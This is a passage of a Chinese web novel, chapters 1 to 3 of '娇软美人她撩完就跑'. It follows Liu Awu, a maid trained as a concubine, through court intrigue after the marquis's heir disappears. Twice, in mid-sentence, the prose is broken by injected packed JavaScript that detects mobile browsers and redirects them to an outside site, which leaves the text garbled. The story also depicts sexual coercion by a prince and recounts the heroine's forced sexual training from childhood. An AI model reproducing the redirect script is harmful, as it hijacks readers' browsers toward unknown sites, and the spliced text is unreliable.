《娇软美人她撩完就跑》 1. 阿五 大夏朝恒丰八年三月。 永安侯嫡长子,桓氏未来的小侯爷桓启元奉陛下之命去凉州查办赋税贪墨一案,近两个月音信全无,失踪了。 直至半个月前,一自称是桓大公子外室的女子登门,带来了大公子的玉佩和腹中的孩子,也带来了大公子的死讯。 一个来路不明的女子的话自然无人信,可大公子的确未曾有书信寄回,且那玉佩也正是他的贴身之物。 惠帝登基八年,大力查贪腐。桓启元此次究竟是擅离职守还是另有隐情,亦或是遭遇不测,不得而知,外室被侯府关押,侯爷桓伯承秘密带人去了凉州。 消息震动京城,陛下震怒,将此事交予皇城司查办,且任何人不得探听干预。 皇城司乃陛下直接掌控,负责查办要案、监察百官,执行秘密任务,设有招狱,可直接抓人审案。 其首领皇城使乃惠帝新进提拔,为人冷情冷性、肃正刚硬,且同谁都不打交道,是个杀伐果决、狠戾无心的铁面冷血。 最近皇城司查获了几桩大案死了不少朝中要员,人人自危。 桓启元的消息被宫中封锁,侯府上下焦灼无奈。 夜幕降临,有人看到侯府角门一辆蓝顶马车低调驶出,朝着宫城门而去。 …… 春雷滚滚,大雨滂沱。 一阵风起掀动车帘,昏黄的烛灯明灭晃动,车内美人薄施朱粉浅画双眉,那双含着秋水的湿眸清澈水灵,宛如画卷中的仙子一晃而过,惊得路人驻足忘神。 车帘被吹起,急风骤雨入车内,柳阿五赶紧伸手去将车帘重新绑好,车内恢复了安静,雨水打在车上,噪声淹没了整个世界。 面前的圆几上放着带入宫呈送给贤贵妃的参汤和一个带锁的紫檀方匣,纤细的葱指紧握成拳,轻轻一声叹息,愁思又如潮水般涌入。 谯郡桓氏百年世家显赫鼎盛,祖上曾因军功被封永安侯,如今的侯爷桓伯承又任二品户部尚书,是个有爵位又有实权的重臣,侯夫人谢淑娴出身陈郡谢氏,乃世家联姻。 大公子桓启元,系永安侯和谢氏所出,自四岁开蒙便惊才绝艳,书读得好又十分低调用功,为人端方儒雅、克己复礼,被视为京城贵公子们的典范。 自身聪慧出身世家,桓启元又是嫡长子,理应袭爵一生顺遂,却偏低调谨慎事必躬亲,如今年纪已二十五却只任户部郎中,忙于各种繁琐复杂又枯燥细密的事务之中,却深得圣心。 对此,桓侯爷倒是不置可否,家大业大自己手中又有实权,即便儿子此时官位不高,有朝一日也必是青云之路不用愁,儿子愿意低调磨砺桓侯爷甚是欣慰,谁知这次桓启元却出了意外。 违抗圣命、贪图女色?柳阿五摇头,大公子端方守礼绝不会如此行事,他是个正人君子,是整个府中唯一能护着她,将她当人看待的好人。 柳阿五十年前入府,是侯夫人谢氏专门为大公子桓启元挑选调教的通房,阿五的命运全系在大公子身上,大公子平安无事她便可安生苟活,若大公子当真遭遇不测…… 柳阿五扶额轻叹,她这样的人被当成玩意儿送人都算是好的下场,更甚者或将沦为家…… 马车在大雨中疾驰,摇晃颠簸,已经一整日未进水米的柳阿五喝了一口已经冷却的茶水,这才堪堪压住胃里翻江倒海的难受。 桓氏乃世家大族,长房二房皆把控在侯夫人谢氏一人之手,如今谢氏一病不起,便将柳阿五推了出来。 她五岁入侯府便日日在侯夫人眼皮底下被调教,是谢氏身边看着长大的丫头,对谢氏言听计从恭敬孝顺,自然也是她最易把控之人。 况且侯府现在是风口浪尖,府中任何一位主子出入都会惹人注意,故而这抛头露面的差事便落到了柳阿五的头上。 马车往皇宫的方向行进,侯府是贤贵妃的母家,贵妃深得陛下宠爱,侯府每月都有一日可派人入宫拜见娘娘,送上些东西再陪娘娘说说话以解贤贵妃思家之苦,今日便是借着这个由头向娘娘打探一下宫中的消息和陛下的口风。 春雷在头顶翻滚,不消一盏茶的时间马车速度放慢,阿五知道这是要到了。 “先去承天门皇城司。”柳阿五吩咐车夫。 车夫顿了一下,随即调转马头扬鞭加速。 可是找贵妃有什么用,若是贵妃有消息必定会想办法通知侯府,柳阿五摇头叹气,谢氏的命令她不敢违抗,但却可以迂回一下。 比如去皇城司碰碰运气,或许他会见她呢。 大雨如注,马车疾驰,激起水花破碎零落。 那位大权在握不近人情的皇城使叫桓晏,字怀松,是桓府九年前走失的二公子。 两个月前,就在大公子桓启元离京后的第二日,这位二公子着一身皇城使的公服登门归来。 柳阿五记得那是她第一次见到桓晏,只觉他眉眼浓烈英气勃勃,明明俊朗精致样貌出挑,偏那眼神冷若冰霜,双眸幽黑深邃好似无底深潭将人吞噬,令人胆寒。 爱子功成名就失而复得,桓侯爷泪水涟涟激动万分,这也再次让桓氏成了京中热议的话题,陛下眼前的红人、有着无上特权的皇城使竟然是侯府失散的二公子,桓氏又一次被推上了顶端。 可这位皇城使二公子冷情冷性,放着侯府不回整日宿在署衙,侯爷去皇城司也没几次能见到人,其态度闪烁又疏离。 皇城司位于宫门东侧靠近承天门,其建筑不似其他署衙那般巍峨壮阔,窄檐黑瓦的几个房间,简单明了一眼尽收。 司内灯火如昼,逻卒脚步匆匆面色肃然,亲从官在雨中驻守毫无懈怠,可见公事繁忙纪律严明。 雨水顺着屋檐落下,正堂门窗大敞,桓晏着公服在审阅案卷。 黑色曲脚幞头,绯色圆领袍上绣云鹤纹,腰系金涂银带,脚蹬黑色皮靴,面白英俊,眉目清冷带着几分厉色,不过二十出头的年纪却给人不怒自威说一不二的威压。 他一手执笔圈圈画画,另一手有节奏地敲击桌面,骨节分明的长指被烛灯照得越发白皙。 白雨跳珠,冷风拂面。 柳阿五站在大门外向里张望了一眼,收回视线道:“麻烦昌平小哥通报,阿五来探望大人。” 昌平是桓晏的贴身随从,自然知晓自家主子的脾气,这个时候他不会见任何侯府的人。 面对美人殷切的目光,昌平面露难色道:“我家大人今日刚回京,手头事情实在太多,姑娘先请回吧。” 桓晏离京了?阿五一惊,既然回来了那必定是大公子的事有了新的消息。 “奴婢只是奉夫人之命来探望二公子。”阿五改了称呼,软软一笑,“不涉正事。” 只要能见到他,柳阿五就有希望问出点什么。她的使命是替谢氏打探消息,但是阿五也是真的想知道大公子究竟如何,她必须在谢氏知道消息前想好对策,保住自己。 “可是……”昌平挠头,看着雨中被淋得狼狈的柔弱女子,实在于心不忍。 “何事。”直直的通道尽头传来冷肃的男声,昌平怔愣一路小跑回去,阿五知道他这是进去请示了。 屋内灯影幢幢,桓晏眉头紧锁笔走龙蛇,周身散发着生人勿近的戾气。 “是,是阿五姑娘来给主子送东西。”昌平刚一开口便后悔自己不该心软通报,瞧大人这脸色,恐怕又要遭殃了。 桓晏手中狼毫笔顿了一下,一滴浓墨落在纸上成了一个抹不去的污点。 目光如炬寒气逼人,昌平再不敢多说,连连请罪:“是属下错了,请主子责罚。” 苍白纤长的手指抹过那一滴黑墨,在纸上画下更长更大的污迹。 “三十板子,自己去领。” “是。”昌平挥汗离去。 门廊外屋檐短小,娇娇弱弱的美人站在雨里虽撑了伞却因风雨过大身上淋湿了一半,脚上的绣鞋也已泡在雨水里,寒气逼人。 皇城司不大,方才主仆二人的对话柳阿五听得真真切切,心下一阵愧疚,见昌平匆匆返回赶紧致歉:“连累昌平小哥了。” 昌平摇头,“姑娘请回吧。” 这下真的没法子了,柳阿五点了点头,奉上她自己带出来的食盒。 “这些糕点是我亲手所做,就给昌平小哥了,算是阿五的歉意。” 害得人挨了板子,柳阿五恐日后都再难向昌平开口了。 柳阿五本就身弱,又吹风淋雨忍不住咳了几声,“你若不收,我实在于心难安。” 昌平点头应下,“多谢姑娘。” 她纤纤玉手握紧伞柄,低垂浓睫薄唇轻抿,看不出眸中情绪却能让人感觉到美人忧思甚重,风雨中柔弱纤细的身形好似易折的娇花,惹人怜惜。 昌平不敢留她,心下不忍道:“姑娘淋了雨小心着了寒气。” 面上撑着苦笑阿五行了个礼道谢,转身离去。 望不见马车了昌平才关了门,手里的食盒飘散出缕缕香气,让马上要挨的三十板子都变得不那么难过了。 昌平脚步轻快地去领罚,却被一道凌厉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859811|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线绊住,视线从他的脸上落到了食盒上,昌平怔愣片刻会意,赶紧小跑进屋将食盒摆在桓晏案桌的角落里,又拨亮了烛灯,这才垮着脸默默退下去挨板子。 人不见就算了这么好的点心主子也要扔了,怪可惜的,点心又有什么错…… * 侯府的马车上,柳阿五淋了雨,身上开始发冷,她缩在披风里蜷起双腿抱在胸前。 明明已经被他破了身子,作何又这般铁面无情好似不识。 这人喜怒无常心思还真是难以捉摸。 可是又能有什么办法呢,她只是个上不得台面的通房,生死尚不由己,哪里还能计较这些。 没了大公子的庇护,阿五想活下去就得再找个依靠,放眼整个侯府,只有这个刚进门的二公子了,皇城使得陛下青眼、侯爷爱重,又和大夫人不对付,或许是个希望。 不论如何她都得赌这一把,丢了清白又如何,总比丢了性命要强。 十年了,她虽未曾同大公子圆房,可谢氏让她学的那些个妓子都不如的侍弄人的巧计,早已撕破了姑娘的脸皮,将尊严踩在脚下。 “姑娘去华宸殿吗。”车夫的提醒打断了那些令人难堪的回忆。 阿五敛神看向窗外滂沱的雨势,这个时辰去应当碰不上那人吧。 得了阿五肯定的答复,车夫驾车往华宸殿而去。 华辰殿是陛下专门为贤贵妃建造的宫殿,所用奢且雅,殿内幽香,灯火通明,照得各处金灿灿地晃眼。 鎏金莲花香炉内青烟袅袅,轻纱幔帐垂地遮挡住一半视线,只白瓷净瓶里的一枝粉色桃花枝妖娆露出一点春日的艳丽。 一阵夜风拂过,轻纱随风舞动,金丝绣线闪着金光,映出帐帘后慵懒华贵的妇人身形。 柳阿五恭恭敬敬地跪在外殿等候召见,却见出来的是娘娘身边的宋嬷嬷。 “姑娘,实在是不巧,今日变了天娘娘染了风寒,这会儿刚吃了药睡下。” 宋嬷嬷是侯府指派给贵妃的人,柳阿五欠身点头应道:“多谢嬷嬷,这是呈送给娘娘的东西,烦请娘娘得了大公子的信儿及时通知府中,家中焦急。” 汤羹和紫檀木匣被宋嬷嬷接过,宋嬷嬷点头,“那是自然,只不过这些日子陛下都未曾踏入后宫,咱们娘娘也是得不到半点消息。” 想来也是这样的结果,阿五点头起身告辞离去。 出了大殿冷风扑面,柳阿五抬头望天,羸弱瘦削的身影在风雨中越发显得脆弱易碎不堪一击。 “阿五姑娘。” 一个轻佻带着戏谑的声音从背后传来,柳阿五眉心嚯嚯跳了几下,瞬间头皮发麻脊背出汗。 凝神静气后努力稳住自己的声线,阿五回头行礼:“参见敬王殿下。” 贤贵妃膝下育有一子,便是当今圣上三子名唤萧承,字辰玉,受封敬王,表面端方温润,宽厚良善,实则深沉狠辣,是那种为达目的不择手段的性子,只因惯会佯装,颇受陛下喜爱。 萧承的野心是侯府支撑起来的,可先皇后留下了一双嫡出的儿女,皇长子萧璟安和公主萧黎,这对兄妹优秀出色又是皇后嫡出,横亘在贵妃、敬王和陛下之间,简直让桓氏视之咬牙切齿,恨不能这对儿兄妹立马消失,好给萧承腾出位置。 这些是柳阿五从谢氏只言片语中拼凑起来的,从表面看,萧承便是一副无意大位风雅随性的富贵闲人,伪装得极好。 今日特意拖延了时辰,本以为能躲过他,谁知还是碰上了。 “姑娘请起。”萧承嗓音温润如玉,伸出手亲自扶起阿五。 阿五躲闪不及,脚下虚虚一抖身子歪歪斜斜,手肘刚好落在萧承掌中,温热感涌遍全身。 “是阿五叨扰了。”阿五赶紧正身,同他拉开距离。 美人身量娇小玲珑,藕荷色的半臂配鹅黄色上襦,双色织绣菱格纹百褶裙,用明黄色绦带压住裙摆,雅致又不会太过明艳,流苏髻斜插石榴红小巧珠花和一只白玉兰发簪,未做过多装饰倒是越发衬她玉软花柔,千娇百媚。 尤其那双清亮的双眸,宛如未经世事的孩童澄澈见底又含情脉脉,风雨里的小女子柳眉微蹙柔弱可怜,雪白的脖颈下依稀可见精致的锁骨,再往下便是那不容忽视的傲人美色,看得敬王浑身燥热血脉偾张。 萧承喉结滚动,收回手指负于身后慢慢揉搓,“大表哥的事……” 他欲言又止,阿五垂眸点头,道:“是阿五冒昧了,这便……” “或许本王可以帮你。” 2. 色心 雨势湍急,打在蓝顶马车上发出的噪声让人烦躁不安。 柳阿五不愿入王府,这种吵闹的雨夜能将一切不堪遮掩,将所有污脏洗刷,神不知鬼不觉。 她每次入宫都十分小心谨慎地避开敬王,因为先前偶遇过一两次,他那双直勾勾肆无忌惮在她身上梭巡的眼神令人胆寒。 柳阿五太熟悉那种贪婪侮辱的眼神了,毫不掩饰代表了他们对她身份的蔑视,和对她这个人的欲求,可以轻易掌握她的一切。 可是又能有什么办法呢,他是高高在上的王爷,开了金口便没有她反驳的余地。 阿五咬唇,豁出去性命就算鱼死网破也绝不委身于他。 敬王不是个好人。 世人都道他温文尔雅随性高洁,素日只同人谈诗论道抚琴烹茶,从不参与纷争不同朝臣有私下联系,可谓是谈笑皆鸿儒,可是侯府的人都晓得这只是敬王刻意营造出来的表象。 而真实的敬王不但借着侯府笼络朝臣,还十分奢靡荒淫无度。过侯府之手往敬王府里送进来的美人婢子过百不止,而她们能活下来的寥寥无几,大多被敬王强迫蹂躏至死后草草卷了拿去喂狗。 骨子里的萧承就是个贪权好色心狠手辣的疯子。 闷雷隆隆在头顶翻滚,柳阿五瑟缩成一团,抱住双臂都忍不住发抖。 虎狼之地有进无出,她实在害怕极了。 可是害怕是没有用的,像她这样的蝼蚁想要在这世上活下去,就得舍掉脸皮抛去自尊甚至敢于豁出性命,或许还能拼出一线生机。 纤细冰冷的手指轻轻揉捏眉心,柳阿五强迫自己静下心,如今这样的局面,大公子下落不明侯爷擅自离京,陛下盛怒之下侯府又将迎来怎样的局面不得而知,这样的乱局敬王是不会愿意掺和进来的,至少要保持自己公正中立的形象不能被牵连,所以…… 柳阿五心里稍稍安稳了一些,长长地吐出一口气又安慰自己,都已经苟活了十年了,大不了一死又有什么好担忧的呢,她还有什么可失去的。 柳阿五出身姑苏,家境贫寒,五岁那年父母卖女求生,幸得侯夫人谢氏看中带回京城养在侯府十年,只为及笄后做大公子桓启元的通房,侍奉他一生一世。 这些都是谢氏亲口告诉她的,谢氏素日将她带在身边,管家理事从不避她却也并不教她,无非是些跑腿传话的活,同时不忘教她规矩礼法,坐卧行走一颦一笑自是有一套章法,还专门请了嬷嬷和女师精心调教她琴棋书画诗词歌赋,就连女红刺绣、制香点茶、插花棋艺她也做得毫不逊色。 但柳阿五的这些技能却不被允许展露人前,只能同大公子萧启元切磋调.情。 稍有做得不好,轻则佛堂罚跪三日,重则谢氏会让她在自己面前表演那些承欢手段,无论是衣衫尽除的妖娆媚舞,还是自娱自怜的勾魂手段,亦或是讨好下贱的各种床帏承欢绝技,她都毫无尊严不知廉耻地在谢氏和一众老嬷嬷面前展现,玩意儿不如。 除此之外,她需得日日牛乳沐浴花瓣敷面,养得一身纤腰雪峰温香软肉,只待供大公子消遣。 这样的日子,柳阿五过了十年。 好在大公子一直悄悄地护着她,替她遮掩,即便他们从未圆房甚至都未曾有过任何超出主仆的越矩行为,在谢氏那里都被瞒下了。大公子说:“阿五是个聪明的姑娘,有才华,应当有更好的人生。” 更好的人生,什么是更好的人生,阿五不明白,只知道只要有大公子在她便不怕,哪怕一辈子当牛做马伺候大公子,她都甘之如饴。 她是从心底深处敬佩大公子的。 可是好人不长命,柳阿五抹去腮边的泪珠,这世道不公平。 夜深人静,滂沱大雨肆无忌惮地浇灌大地。 马车停稳,冷风吹开车帘,王府的黑洞洞的大门近在眼前,好像吞人的野兽令人胆寒。 车帘被掀开,一个甜甜的圆脸婢女撑伞过来扶她下车,绕过曲折回廊,满目绿意葱葱枝叶葳蕤,虽已入夜却依然能够感受到春日的繁茂和锦绣。 敬王府是萧承弱冠之年陛下亲赐的府宅,被他布置的不见奢靡之风尽是风雅意趣。 入目皆是假山怪石奇花异草,偶见潦草景致也显得妙趣横生,彰显了主人随性洒脱的性子。 倒真是做戏做全套,柳阿五想。 “这里是银安殿,姑娘请坐。”小婢女眉眼弯弯请她入座,送来茶盏,“殿下特意吩咐灶房熬制了姜枣茶,姑娘用一些驱寒暖身。” 说完又有婢女捧着托盘进来,圆脸姑娘呈给她,“姑娘身上的衣衫都湿透了,殿下吩咐特意准备了新衣给姑娘更换。” 想得倒是周到,柳阿五浑身的湿衣贴在身上不舒服且不雅观,于是接过托盘道谢,转身去了里间更衣。 房间里干净整洁,木架上搭了脱下来的披帛和罩衫,柳阿五只着一件齐胸长裙,素手解开衣带总觉寒意森森,倏然抬头,正对面窗子外似乎有一个人影,灼灼如狼的眼神正盯着她,好似野兽垂涎即将入口的美味。 那一瞬间,柳阿五浑身颤栗,顾不得许多忙穿上自己的湿衣奔出房间,迎面撞见一壮硕高大的人影,还未看清面目就被人一把打横抱起,甜腻沉醉的香气飘入鼻息,柳阿五觉得一阵头晕目眩。 “殿下。”美人惊惧,湿漉漉的双眸显得无辜懵懂,越发让人想要欺她弄她。 萧承俯下头,沉醉地在她身上嗅了又嗅,像极了一只又馋又饿的野狗。 “殿下。”美人声音孱弱娇吟,勾得萧承浑身发热。 “今日本王心情好,慢慢侍弄你,保管叫你水汪汪的如冲九霄。” 萧承双手用力,狠狠捏了一把阿五的臀,吓得她一个激灵瞬间清醒。 面对这样的人面兽心,反抗得越厉害他越兴奋,所以……柳阿五很快冷静下来,决定豁出去反其道而行之。 “嗯,听殿下的。”美人娇羞直往他怀里钻,在萧承耳边吐气幽兰,“殿下想怎么弄就怎么弄,妾都愿意。” “是吗,这么乖。”萧承惊喜,想要亲吻眼前的美人却被美人顽皮躲过。 细白的双臂如鲜嫩的藕节,缠在他的脖颈处,阿五软软道:“从现在起阿五就是殿下的人,只供您一人玩.弄,不知殿下是喜欢用牛乳、蜂蜜,还是喜欢用葡萄、浆液,阿五还会双推、四推,仙人过境、玉兔椿药、高山流水。” 美人的嫩红舌尖轻轻舔了一下娇俏的樱唇,这般勾魂摄魄的模样,不怕你不沉迷。 可是此言一出,萧承倒是愣了一下,他听出了她的话里有话。 柳阿五是侯府的人,若是他此时同这女子牵扯上关系,那必然会被认为支持侯府,父皇那里便再不是云淡风轻、清心寡欲的潇洒王爷了,多年处心积虑的形象一旦崩塌,一切就都撕开了口。 他还不想这么快参与进来,坐山观虎斗而后坐收渔翁之利才是上上策,为了一个女子,还是这种人尽可欺的浪.荡.货,着实不值得。 眼看萧承推开了房间的门,一张大大的软软的大床就在眼前,旁边还有许多玩乐益趣的工具,柳阿五的心提到了嗓子眼,两眼一黑险些晕过去。 直到萧承停住了脚步,脸上的红晕一点点消散,笑意变得圆融虚假起来,她才知道,自己赌赢了,他怕了。 这种时候,侯府正处在风口浪尖,萧承绝对不会冒着风险和侯府任何人有牵扯。 他是个色利熏心又胆小如鼠的怂货。 六扇山水屏风写意壮阔,一看便知出自名家之手,多宝阁上呈现的是珍贵瓷器摆件,价值连城。青铜香炉内燃了香,木质香调淡雅温暖,驱散了春雨带来的潮湿和寒意,气氛正式又融洽。 片刻, 二人重新回到了外殿,门窗大开,萧承坐在上首,慢慢饮茶。 他已然换下了皇子朝服着一身冷灰长衫,墨玉束发,清隽挺拔,让他凌厉的眉眼都柔和了三分,只那柔和里透着让人捉摸不透的光。 萧承自上首落座,双手抻平衣衫不紧不慢道:“此事说起来也是一言难尽,眼下侯府困难,竟让姑娘辛苦奔波。” 挑拨,柳阿五垂眸不语,讪讪笑着看着他。 “我实在欣赏阿五,今日不妨跟你说句实话,大表哥恐凶多吉少。” 这个结果阿五想到了,可是从他口中说出仍让她有一种想哭的冲动。 萧承慢慢饮茶后放下茶盏,灼灼眼神看向柳阿五,“姑娘可愿助我,本王自能庇护姑娘。” 开门见山的交易让柳阿五放下心来,原以为敬王多少会装装样子为大公子忧心,没想到他如此迫不及待。 见她不语,萧承当她犹豫,遂又添了一把柴,道:“姑娘身份尴尬,又早已是大表哥的人,以本王对舅母的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859812|175964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了解……” 萧承轻飘飘看了她一眼,“大公子的女人舅母是断不会留在世上供旁人糟蹋留下污名的。” 犹如一记惊雷在耳边炸响,柳阿五想过自己的种种不堪境地却没想到他说的。 是了,谢氏钟爱这个儿子,便不会留她独活。 冷风自窗牖的缝隙漏进来,柳阿五轻咳几声,面上的红晕更甚,连带着眼中泪水盈满欲滴。 美人就是美人,即便狼狈难过也是一副风流韵致,惹人怜惜。 “殿下。”阿五抬眸哀求,“求殿下垂怜。” 暗自垂泪的间隙偷偷抬眸,看到萧承脸上的得意,柳阿五继续加码道:“贵妃娘娘得圣宠,敬王殿下如日中天,阿五一介卑贱之身若能得殿下驱使,为殿下的大业铺路,乃阿五之幸。我虽身无长物,却也是可利用之人,阿五愿受殿下差遣。” 她抓到了敬王的心里,萧承十分孝顺贵妃。 贤贵妃闺名桓如雪,世人皆知是侯爷桓伯承嫡亲的妹妹,入宫两年便诞下三皇子被封贤贵妃,二十年来一直恩宠极盛,无人能及,再加之皇后仙逝,贤贵妃等同副后。 可无人知道桓如雪并非桓氏亲女,她只是一个通房。 同现在的柳阿五一样,出身贫寒却因貌美而被老夫人看中,培养其诗词歌赋琴棋书画,且十分精通床帏之中承欢之技,是一个为桓伯承量身打造的通房丫头,且早已同桓伯承如胶似漆,还曾怀过一个孩子,被老夫人秘密拿掉了。 后来因一次朝廷彻查贪腐危及桓氏利益,小通房摇身一变成了桓氏寄养在外多年刚回府的大姑娘,就这样瞒天过海被送入宫中一路承宠不衰,成了今日的贤贵妃,不仅解了桓氏燃眉之急更使得家族兴盛风头无两。 自然这个秘密只有两三人知晓,柳阿五跟在谢氏身边这些年似有察觉,却并不知根底。 但她这般表忠心显然又赌对了。 萧承挑眉,不必说透点到即止,“如此,甚好。” “眼下本王倒是有一桩事交予你。”萧承慢悠悠道:“二表哥为人谨慎,对谁都淡淡的,如此虽免人误会却也兄弟生疏。” 他抬眼打量着阿五,“听说二表哥素来无甚喜好,最爱隐世阁的茶,日日必去,本王想着他也是血气方刚的男儿……” 意味深长的眼神在柳阿五身上徘徊,这是要让她去勾.引桓晏吗,柳阿五低头不语,萧承的视线看过去只能看到垂下的浓密长睫和丰盈润泽的红唇,再往下便是那处傲人的山峰,格外诱人。 “若是你能打动他,替本王牢拉拢他。”萧承走过去站在她面前,抬手勾起美人的下巴,“本王倒是可以助你。” 对他们任何一个人而言,柳阿五都是一个尤物,一个玩.物,一个可以随意处置送人的玩意儿。 美人目光澄澈,“阿五愿意。” * 回到府中已近子时,珍珠悄悄站在侧门外等她,看见马车远远过来激动地迎出去。 珍珠是谢氏派给她的丫头,多年相处下来早已成了同气连枝的姐妹。 “夫人晚间病情突然加重。”珍珠是个单纯直率的丫头,伸出手扶着她下车,触手冰冷都忘记了要说的话,“姑娘的手怎么这么冷。” “无碍。”阿五揽过她的肩,二人撑一把伞往翠竹轩去,“你接着说。” “哦。”珍珠回神,“咱们院子里人都去照顾夫人了,没人发现姑娘这么晚回来。” 阿五笑了笑,真是个傻丫头,夫人病重阿五不在身边侍奉定是不在府中,即便夫人现在不知等她醒过来也自然有人会告诉她。 谢氏知道她晚归,必定会用那些恶心的手段折磨她,阿五惨笑,都习惯了,忍了十年哪里还差这几日。 不管大公子是死是活,柳阿五的下场都不会好,何不赌一把大不了是个死。 萧承的那句话说得对,他说:“那外室有了身孕,别管真假,都是夫人的希望。” 是啊,夫人有了新的希望,阿五这个被大公子用过的女人没用了。 除非,她也能怀个孩子,一个大公子的孩子。 那怎么可能。 所以,留给她的时间不多了。 “先沐浴更衣,等下去看夫人。”柳阿五叮嘱珍珠,“你帮我多备几副药,明日我还要出去。” 隐世阁,她要去见桓晏。 3. 小衣 夜已深,只有廊下照明的烛灯在风中摇曳,虽隔了风罩却也悉数被风雨扑灭,灼灼的火苗在此刻脆弱的不堪一击。 热汤沐浴,柳阿五将湿透了的衣裳脱下,整个人浸在沐桶中才觉得身上一阵一阵发冷,想起方才在敬王府的经历,阿五恶心得想吐。 身上被他摸过的痕迹仿佛还在,那靡靡之气萦绕在身上,阿五用力揉搓想要洗掉肮脏的一切。 十年,在侯府的日子让她觉得耻辱又愤恨,她不是不要脸的下贱妓子,她可以受委屈可以吃苦头,但要用那般手段苟活实在让她都嫌弃自己。 可是不那样又能如何呢,一身刚烈当场碰死吗? 阿五摇头,她还不能死。如果忍着那点儿恶心能活下去,她愿意忍,她只是个丫头,不是什么娇滴滴的千金小姐,这点儿委屈,算不得什么。 雪白的皮肤被搓得通红,眼看就要破皮,一阵阵刺痛让阿五清醒,狠狠擦去脸上的泪水将身子没在水下,放弃跟自己较劲,寒意被驱散整个人这才慢慢回暖。 桓氏这一脉有两房,大房桓伯承继承爵位,和谢氏住在东院,二人是典型的世家大族强强联合婚姻,膝下育有长子桓启元和三姑娘桓素娥,桓伯承还有一房妾室陈氏,生了五公子桓安。 一墙之隔的西院是二房的居所,二房老爷乃先永安侯庶出,名唤桓仲望,其妻顾氏出身吴郡顾氏一族的庶女,诞下四公子桓明之和六姑娘桓含嫣,妾室张氏育有一女,如今只有八岁的七姑娘桓芷。 表面风光无限的侯府其实大房和二房不和,尤其是二老爷桓仲望对侯爷的记恨,柳阿五曾偶然间从赖嬷嬷口中得知侯爷的母亲曾经害死了二老爷的姨娘,这样的仇恨怎么可能轻轻揭过。 夜深雨大,硕大的雨点打在窗子上发出哔哩吧啦的响声,燥人得很。阿五慢慢冷静下来,今晚的事必然不能让夫人知晓。 对于谢氏,世人都言她高门望族长房嫡女,谢淑娴待字闺中的时候便声名远播,可称得上一句世家典范闺中楷模,都道她和善心慈为人豁达深明大义。 而柳阿五却知其阴暗卑鄙表里不一的另一面。 谢氏无论出身、家世,还是自身修养才华都无可挑剔,但是老天爷是公平的,谢氏生得相貌平平,若是妆发尽除那便是貌若无盐,故而并不得侯爷喜爱。 阿五曾多次在侯爷桓伯承眼中看到过对谢氏的嫌弃和厌烦,可这又能怎样,世家联姻相貌是最无用的东西。 但对于心高气傲的谢淑娴而言这便成了她的心结,也成为她苛待妾室的理由,尤其对样貌出众的女子,谢氏极度厌恶,她会变着法的折磨、羞辱她们,还叫人看不出来。 对于儿女的一切定是要紧紧掌握在自己手中,尤其是大公子桓启元的妻妾通房,这才有了阿五的用处。 之所以选择柳阿五用谢氏的话说,“这孩子的样貌世间难找,若是养好了温柔心思和热情手段,只能让启元心满意足,如此便再不会对旁的女子动心。即便是将来配上高门贵女的婚姻,那个未来的少夫人充其量也不过是不讨启元厌烦罢了,绝不会因为夫妻感情过于浓厚而耽搁了前程和家族的命运。” 珠玉在前,无论是样貌、才华还是勾人的手段、让男人望眼欲穿的身段,柳阿五都是被精心调教的,无人能及的,况且她还是这般地对谢氏唯命是从忠心耿耿,有这样的通房在,何愁其他女子越过她夺了儿子的心吗。 谢氏将桓启元视如珍宝,将来必是要接下爵位和整个家族的前程,她的儿子不允许行差踏错半步,是以从小到大,桓启元的每一件事都被谢氏安排得明明白白。 谢氏是一个掌控欲极强的人,权、利、子女、家宅、钱财,无一不是。 热气氤氲,皂香扑面,疲惫了一整日此时才能卸下包袱,暂时舒缓片刻。 窗外风雨打在树叶上发出脆响,这翠竹轩是大公子的院子,阿五和珍珠从小住在偏房照料大公子,那棵枣树是大公子少时亲手种下的,还有他喜欢的翠竹、君子兰和绿梅,寒来暑往四季更替它们被照料得很好。 一切如旧却物是人非,也不知大公子究竟怎样了,她们二人在这里还能住多久。 本想让自己静静地休息,可是一闭上眼脑子里的事就直往外冒,不想都不行。 在侯府生活了十年,柳阿五心里一直有一桩事,她盼望着自己长大,更盼望着大公子能长大当家,到时候她就能找机会查一查心中的疑惑。 谢氏一直告诉她,家中贫寒父母卖女求生,她当柳阿五年纪小不记事,可是她记性极好。 阿五记得阿爹阿娘,阿娘是个美人,跟阿爹感情很好,他们都十分宠爱阿五。 自小家中衣食无忧,不仅如此还可以说得上是富庶。虽然对于贫富小小的她并不十分懂,可是她记得自小的吃穿用度都是极好的,而且…… 想起幼时,阿五咬唇。 三姑娘桓素娥最是受宠,她有一个极钟爱的羊脂白玉素簪几乎日日戴着,阿五记得那是她的东西,是阿娘送给她的。 桓素娥是谢氏所出,桓启元的亲妹妹,谢氏抢了她的簪子给了自己的女儿,三姑娘视若珍宝。 可是她们不知道那簪子里头有个机关,掰开来会有白玉珠串流苏,又是另一种精巧的美,阿娘说是非常厉害的工匠特意打造的,是她的舅父送给她的。 她虽从未见过自己的舅父,却也知道那簪子是无可媲美的东西,连谢氏这种见惯了极奢好物的人都稀罕那簪子,可见阿娘说得没错。 所以,柳阿五怀疑谢氏骗了她,那她为什么要骗她。 阿五觉得定是他们做了什么对不起她爹娘的坏事,这才隐瞒一切真相编造谎话。 